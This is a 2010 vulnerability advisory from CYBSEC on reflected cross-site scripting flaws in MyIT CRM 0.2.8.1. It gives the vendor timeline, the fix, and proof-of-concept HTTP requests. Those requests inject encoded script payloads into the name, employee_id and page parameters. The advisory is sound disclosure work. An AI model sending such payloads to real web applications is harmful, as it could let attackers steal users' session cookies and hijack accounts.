MyIT CRM – Multiple Cross-Site Scripting Vulnerabilities
Advisory Name: Multiple Cross-Site Scripting (XSS) in MyIT CRM Internal Cybsec Advisory Id: 2010-0607-Multiple XSSs in MyIT CRM Vulnerability Class: Reflected Cross-Site Scripting (XSS) Release Date: Tue Jun 22, 2010 Affected Applications: MyIT CRM ver.0.2.8.1 Affected Platforms: Any running MyIT CRM ver.0.2.8.1 Local / Remote: Remote Severity: Medium – CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N) Researcher: Juan Manuel García Vendor Status: Acknowedged/Will be Fixed in MyIT CRM v0.2.9.0 Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf Vulnerability Description: Multiple Reflected Cross Site Scripting vulnerabilities were found in MyIT CRM ver.0.2.8.1 web console, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user who is able to access the “View Employees” functionality. Parameters name, employee_id, and page are not properly sanitized. Other parameters might also be affected. Proof of Concept: http://XXX.XXX.XXX.XXX/index.php?page=employees:main&page_title=View%20Employees * The parameter 'name' in the POST request has been set to: >"'><img%20src%3D%26%23x6a; %26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69; %26%23x70;%26%23x74;%26%23x3a;alert(36078)> POST /?page=employees:main HTTP/1.0 Cookie: PHPSESSID=5460a3d8ab4f72cc624e1a6744f5ecfd Content-Length: 159 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: demo.myitcrm.com Content-Type: application/x-www-form-urlencoded Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees name=>"'><img%20src%3D%26%23x6a; %26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%2 3x70;%26%23x74;%26%23x3a;alert(36078)>&submit=Search * The parameter 'employee_id' in the GET request has been set to: >"'><img%20src%3D%26%23x6a; %26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69; %26%23x70;%26%23x74;%26%23x3a;alert(55255)> GET /?page=employees:employee_details&employee_id=>"'><img%20src%3D%26%23x6a; %26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%2 3x70;%26%23x74;%26%23x3a;alert(55255)> HTTP/1.0 Cookie: PHPSESSID=4b54d326030a5967e44f5719747a7c86 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: demo.myitcrm.com Referer: http://demo.myitcrm.com/?page=employees:main * The parameter 'page' in the POST request has been set to: >%22%27><img%20src%3d%22javascript:alert(35665)%22> POST /?page=>%22%27><img%20src%3d%22javascript:alert(35665)%22> HTTP/1.0 Cookie: PHPSESSID=b639ec20245375dcf4b1c3f25dfdf20f Content-Length: 19 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: demo.myitcrm.com Content-Type: application/x-www-form-urlencoded Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees name=&submit=Search Impact: An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application. Solution: Upgrade to MyIT CRM v0.2.9.0 Vendor Response: 2010-06-22 – Vulnerability was identified 2010-06-23 – Vendor contacted 2010-06-30 – Vendor made some changes with the purpose of sanitize the inputs 2010-07-01 – It is confirmed that the bug was not repaired and the vendor was contacted again 2010-07-19 – Vendor says the bug will be fixed in MyIT CRM v0.2.9.0 2010-08-02 – Vulnerability published Contact Information: For more information regarding the vulnerability feel free to contact the researcher at jmgarcia <at> cybsec <dot> com About CYBSEC S.A. Security Systems Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life. To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies. Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable. Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange. For more information, please visit www.cybsec.com (c) 2010 - CYBSEC S.A. Security Systems |